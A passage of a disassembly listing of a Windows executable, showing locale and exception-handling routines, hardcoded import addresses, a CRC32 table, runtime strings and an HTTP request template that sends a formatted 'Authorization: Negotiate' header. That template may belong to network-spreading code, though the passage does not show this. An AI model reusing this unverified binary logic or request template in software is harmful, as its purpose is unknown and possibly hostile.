eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42655D push dword ptr [edi+4] push eax call sub_41C890 pop ecx pop ecx jmp short loc_42655D ; --------------------------------------------------------------------------- loc_426557: ; CODE XREF: sub_42651A+16j mov eax, [edi+4] mov [esi+4], eax loc_42655D: ; CODE XREF: sub_42651A+2Ej ; sub_42651A+3Bj mov eax, esi pop edi pop esi retn 4 sub_42651A endp ; =============== S U B R O U T I N E ======================================= sub_426564 proc near ; CODE XREF: sub_4260BA+16j ; ___:004264C4p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427CF4 jz short locret_426579 push dword ptr [ecx+4] call sub_41D65F pop ecx locret_426579: ; CODE XREF: sub_426564+Aj retn sub_426564 endp ; =============== S U B R O U T I N E ======================================= sub_42657A proc near ; DATA XREF: ___:00427CF8o mov eax, [ecx+4] test eax, eax jnz short locret_426586 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_426586: ; CODE XREF: sub_42657A+5j retn sub_42657A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426587 proc near ; CODE XREF: sub_426173+37p ; sub_42629A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D10 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call near ptr 26604F6h nop pop edi pop esi leave retn 8 sub_426587 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265C1 proc near ; CODE XREF: sub_4263E5+56p ; sub_4263E5+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_4265D3 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_4265D3: ; CODE XREF: sub_4265C1+Bj cmp dword_4DBE84, 0 jnz short loc_4265ED cmp ax, 41h jb short locret_426634 cmp ax, 5Ah ja short locret_426634 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_4265ED: ; CODE XREF: sub_4265C1+19j cmp ax, 100h jnb short loc_426607 push 1 push eax call sub_42686F pop ecx test eax, eax pop ecx jnz short loc_426607 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426607: ; CODE XREF: sub_4265C1+30j ; sub_4265C1+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DBE84 call sub_426636 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426634 mov ax, [ebp+var_2] locret_426634: ; CODE XREF: sub_4265C1+1Fj ; sub_4265C1+25j ... leave retn sub_4265C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426636 proc near ; CODE XREF: sub_4265C1+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DC010, esi jnz short loc_4266AC push esi push esi push 1 pop ebx push ebx push offset dword_427920 mov edi, 100h push edi push esi nop call near ptr 2650000h test eax, eax jz short loc_42668A mov dword_4DC010, ebx jmp short loc_4266AC ; --------------------------------------------------------------------------- loc_42668A: ; CODE XREF: sub_426636+4Aj push esi push esi push ebx push offset word_4CB88C push edi push esi nop call near ptr 2651132h test eax, eax jz loc_42682B mov dword_4DC010, 2 loc_4266AC: ; CODE XREF: sub_426636+2Ej ; sub_426636+52j cmp [ebp+arg_C], esi jle short loc_4266C1 push [ebp+arg_C] push [ebp+arg_8] call sub_42683F pop ecx pop ecx mov [ebp+arg_C], eax loc_4266C1: ; CODE XREF: sub_426636+79j mov eax, dword_4DC010 cmp eax, 1 jnz short loc_4266E8 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h jmp loc_42682D ; --------------------------------------------------------------------------- loc_4266E8: ; CODE XREF: sub_426636+93j cmp eax, 2 jnz loc_42682B cmp [ebp+arg_18], esi jnz short loc_4266FE mov eax, dword_4DBE94 mov [ebp+arg_18], eax loc_4266FE: ; CODE XREF: sub_426636+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 28410A4h mov [ebp+var_20], eax cmp eax, esi jz loc_42682B mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426744 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426744: ; CODE XREF: sub_426636+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_42682B push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 28410A4h test eax, eax jz loc_42682B push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2651132h nop mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_42682B mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_4267C7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_4267C7: ; CODE XREF: sub_426636+17Dj cmp ebx, esi jz short loc_42682B push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2651132h nop test eax, eax jz short loc_42682B test byte ptr [ebp+arg_4+1], 4 jz short loc_426805 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426827 cmp eax, edi jl short loc_4267F6 mov eax, edi loc_4267F6: ; CODE XREF: sub_426636+1BCj push eax push ebx push [ebp+arg_10] call sub_41BFD0 add esp, 0Ch jmp short loc_426827 ; --------------------------------------------------------------------------- loc_426805: ; CODE XREF: sub_426636+1B1j cmp [ebp+arg_14], esi jnz short loc_42680E push esi push esi jmp short loc_426814 ; --------------------------------------------------------------------------- loc_42680E: ; CODE XREF: sub_426636+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426814: ; CODE XREF: sub_426636+1D6j push edi push ebx push 1 push [ebp+arg_18] call near ptr 2710000h nop mov edi, eax cmp edi, esi jz short loc_42682B loc_426827: ; CODE XREF: sub_426636+1B8j ; sub_426636+1CDj mov eax, edi jmp short loc_42682D ; --------------------------------------------------------------------------- loc_42682B: ; CODE XREF: sub_426636+66j ; sub_426636+B5j ... xor eax, eax loc_42682D: ; CODE XREF: sub_426636+ADj ; sub_426636+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426636 endp ; =============== S U B R O U T I N E ======================================= sub_42683F proc near ; CODE XREF: sub_426636+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42685E loc_42684F: ; CODE XREF: sub_42683F+1Dj cmp word ptr [eax], 0 jz short loc_42685E inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_42684F loc_42685E: ; CODE XREF: sub_42683F+Ej ; sub_42683F+14j cmp word ptr [eax], 0 pop esi jnz short loc_42686C sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_42686C: ; CODE XREF: sub_42683F+24j mov eax, edx retn sub_42683F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42686F proc near ; CODE XREF: sub_4265C1+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_4268AF cmp [ebp+arg_0], 100h jnb short loc_426893 movzx eax, [ebp+arg_0] mov ecx, off_43CE7C mov ax, [ecx+eax*2] jmp short loc_4268B6 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_42686F+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_4268C1 add esp, 18h test eax, eax jnz short loc_4268B3 loc_4268AF: ; CODE XREF: sub_42686F+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4268B3: ; CODE XREF: sub_42686F+3Ej mov eax, [ebp+var_4] loc_4268B6: ; CODE XREF: sub_42686F+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_42686F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268C1 proc near ; CODE XREF: sub_42686F+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D48 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DC014 xor edi, edi cmp eax, edi jnz short loc_426930 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi nop call near ptr 2610000h test eax, eax jz short loc_42690E mov eax, esi jmp short loc_42692B ; --------------------------------------------------------------------------- loc_42690E: ; CODE XREF: sub_4268C1+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB88C push esi push edi nop call near ptr 2620000h test eax, eax jz loc_426A72 push 2 pop eax loc_42692B: ; CODE XREF: sub_4268C1+4Bj mov dword_4DC014, eax loc_426930: ; CODE XREF: sub_4268C1+2Fj cmp eax, 1 jnz short loc_42694C push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2610000h jmp loc_426A74 ; --------------------------------------------------------------------------- loc_42694C: ; CODE XREF: sub_4268C1+72j cmp eax, 2 jnz loc_426A72 cmp [ebp+arg_10], edi jnz short loc_426962 mov eax, dword_4DBE94 mov [ebp+arg_10], eax loc_426962: ; CODE XREF: sub_4268C1+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 28410A4h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426A72 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41BF70 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_4269C0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_4269C0: ; CODE XREF: sub_4268C1+EAj cmp [ebp+var_2C], edi jz loc_426A72 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 28410A4h test eax, eax jz loc_426A72 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426A15 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426A15: ; CODE XREF: sub_4268C1+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426A72 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426A29 mov eax, dword_4DBE84 loc_426A29: ; CODE XREF: sub_4268C1+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2620000h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426A72 cmp word ptr [esi], 0FFFFh jnz short loc_426A72 push edi push ebx push [ebp+arg_C] call sub_41D670 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426A74 ; --------------------------------------------------------------------------- loc_426A72: ; CODE XREF: sub_4268C1+61j ; sub_4268C1+8Ej ... xor eax, eax loc_426A74: ; CODE XREF: sub_4268C1+86j ; sub_4268C1+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4268C1 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_426A88 proc near ; DATA XREF: ___:00427EFCo ; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D76C sub_426A88 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426AA6 mov ecx, [ebp+8] jmp loc_40D76C ; --------------------------------------------------------------------------- locret_426AA6: ; CODE XREF: ___:00426A98j retn ; --------------------------------------------------------------------------- loc_426AA7: ; DATA XREF: sub_40D340o mov eax, offset dword_427ED0 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426ABC: ; DATA XREF: ___:00427F2Co lea ecx, [ebp-1Ch] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AC4: ; DATA XREF: sub_40D4E2o mov eax, offset dword_427F00 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 10h loc_426AD0: ; DATA XREF: sub_40DA4Fo mov eax, offset dword_427F30 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426AE2: ; DATA XREF: sub_4260FEo mov eax, offset dword_427F90 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AF4: ; DATA XREF: sub_426173o mov eax, offset dword_428028 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B06: ; DATA XREF: sub_4261D0o mov eax, offset dword_42804C jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B18: ; DATA XREF: sub_426218o mov eax, offset dword_428070 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426B2A: ; DATA XREF: sub_42629Ao mov eax, offset dword_4280D0 jmp loc_41D2FB ; --------------------------------------------------------------------------- dd 133h dup(0) dd 25F0000h, 2600000h, 2600AAAh, 2600B3Ah, 2600EEAh, 2610000h dd 2620000h, 262082Dh, 2620D20h, 2630000h, 263083Fh, 2630AB5h dword_427030 dd 2630AD8h ; DATA XREF: ___:004239E2r dd 2630B54h, 2630DFFh, 2630E44h, 2640000h, 2650000h, 2651132h dd 2660000h, 26604F6h, 266088Ch, 26608C7h, 26608E0h, 2670000h dword_427064 dd 2670443h ; DATA XREF: sub_41F216:loc_41F247r dword_427068 dd 26705B4h ; DATA XREF: sub_41E742+240r dd 77E75CB5h dword_427070 dd 2670770h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 26709E4h, 2680000h, 2680A92h dword_427080 dd 2680EF8h ; DATA XREF: sub_40111D+29r ; sub_40C3E8+2E9r ... dword_427084 dd 2690000h ; DATA XREF: ___:004015E2r ; sub_4116D6+32r ; --------------------------------------------------------------------------- jmp short near ptr byte_42708B ; --------------------------------------------------------------------------- db 69h byte_42708B db 2 ; CODE XREF: ___:00427088j dword_42708C dd 26902E0h ; DATA XREF: sub_419C09+B9r dd 269081Fh dword_427094 dd 269086Bh ; DATA XREF: sub_4119F9:loc_411A8Ar dword_427098 dd 2690895h ; DATA XREF: ___:loc_4013DCr dd 2690D47h, 2690E7Eh dword_4270A4 dd 26A0000h ; DATA XREF: sub_409909+2r dd 26A0168h, 26A01EFh dword_4270B0 dd 26A07AFh ; DATA XREF: ___:0040124Dr ; sub_41AA1E+8Cr dword_4270B4 dd 26A0846h ; DATA XREF: sub_4116D6:loc_4117C2r dd 26B0000h, 26B09DCh dword_4270C0 dd 26B0AD3h ; DATA XREF: sub_409909:loc_409E17r dword_4270C4 dd 26C0000h ; DATA XREF: sub_409909+11r ; sub_4172C1+60r ... dd 26D0000h, 26E0000h, 26F0000h, 26F0A80h, 77F7E300h, 77F7E21Fh dd 2700000h, 27001AFh dword_4270E8 dd 2710000h ; DATA XREF: sub_419177+Fr ; sub_41E0D4+54r dword_4270EC dd 271129Ah ; DATA XREF: sub_4119F9+Br dd 2720000h, 27208DAh dword_4270F8 dd 2730000h ; DATA XREF: sub_4187E0+36r dd 2730250h, 2730320h dword_427104 dd 273094Dh ; DATA XREF: sub_411920+3Ar ; sub_41A1B1+79r dword_427108 dd 2740000h ; DATA XREF: sub_411827+23r ; sub_41A1B1+3Br dd 2750000h, 2760000h, 2760B9Eh, 2770000h, 27705BFh, 2780000h dd 2790000h, 27A0000h, 27A0B49h, 27A0E49h, 27B0000h, 27B011Ch dd 27B0379h, 27B0791h, 27C0000h dword_427148 dd 27C02E1h ; DATA XREF: sub_4172C1+BCr dd 27D0000h dword_427150 dd 27E0000h ; DATA XREF: sub_417493+21r ; sub_41761C+4Ar dword_427154 dd 27E0B98h ; DATA XREF: sub_417493+10r ; sub_41761C+40r ... dd 27E0C53h dword_42715C dd 27F0000h ; DATA XREF: sub_41761C+56r dd 27F02F6h, 2800000h, 2810000h, 281061Bh, 2810B24h, 2810E14h dd 2820000h, 28206BCh, 2830000h, 2840000h dword_427188 dd 28410A4h ; DATA XREF: sub_4190A5+13r ; ___:00423A57r dd 2841B88h, 2850000h, 28504F5h, 28507A1h, 2860000h, 2870000h dd 2880000h, 2890000h, 28919ACh, 28919DDh, 28A0000h, 28A0E1Bh dd 28B0000h, 0 dd 71AB5A01h, 71AB4122h dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h dd 71AB3E5Dh dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 2 dup(0) dword_427220 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o ; sub_401ACD+3514o ... dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o ; sub_401ACD+388Ao ... aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr ; sub_40D774r ... align 10h dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do ; sub_40D824+5Bo ... dbl_427690 dq 9.765625e-4 ; DATA XREF: ___:00416A5Dr ; ___:00416A78r ... dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r ; sub_417E84+3A7r dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br ; sub_417E84+2D5r ... dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr ; sub_417E84+138r ... dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r ; sub_417E84+308r dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r dbl_4276F8 dq 1.0 ; DATA XREF: sub_41D055+6Cr ; sub_41D19B+6Cr ... dd 0FFFFFFFFh, 41E2AAh, 41E2BEh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o align 4 byte_42773C db 6 ; DATA XREF: sub_41FF3F:loc_41FF96r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43D094o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43D090o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43D30Co dbl_427860 dq 0.0 ; DATA XREF: sub_421BFF+8Cr ; sub_421BFF+ACr ... dbl_427868 dq 4.195835e6 ; DATA XREF: sub_422114+Fr dbl_427870 dq 3.145727e6 ; DATA XREF: sub_422114+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422152o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_422279+93o align 4 dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: sub_4228FD+5o dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422A2C+5o dd offset loc_422AEA align 8 dd offset sub_422AC8 dd offset sub_422AD2 dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 ; DATA XREF: sub_422B62+5o dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: sub_422D26+5o dword_4278F0 dd 